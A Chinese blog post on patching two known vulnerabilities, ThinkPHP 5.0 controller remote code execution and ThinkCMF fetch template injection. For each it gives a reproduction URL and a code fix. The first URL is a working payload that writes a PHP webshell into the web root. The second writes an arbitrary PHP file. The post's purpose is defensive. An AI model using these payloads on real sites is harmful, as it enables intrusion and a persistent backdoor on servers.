美文网首页
TP5.0 控制器漏洞修复 ThinkCMF fetch漏洞修复

TP5.0 控制器漏洞修复 ThinkCMF fetch漏洞修复

作者: 非常帅气的昵称吧 | 来源:发表于2019-12-02 15:21 被阅读0次

    一 TP5.0控制器漏洞
    重现方式:
    /?s=/admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=rhzzd.php&vars[1][]=<?php mb_ereg_replace('.*',@_REQUEST[_], '', 'e');?>
    效果:
    会在index.php同级目录下生成rhzzd.php文件
    修复:
    thinkphp/library/think/App.php module方法 获取控制器名称那行下面 添加:

    if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
        throw new HttpException(404, 'controller not exists:' . $controller);
    }
    

    二 ThinkCmf fetch漏洞
    重现方式:
    /?a=fetch&templateFile=public/index&prefix=''&content=<php>die(@file_put_contents('aaabbb.php','45454545'))</php>
    效果:
    会在index.php同级目录下生成aaabbb.php文件
    修复:
    application/Common/Controller 将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected

    相关文章

      网友评论

          本文标题:TP5.0 控制器漏洞修复 ThinkCMF fetch漏洞修复

          本文链接:https://www.haomeiwen.com/subject/ricfgctx.html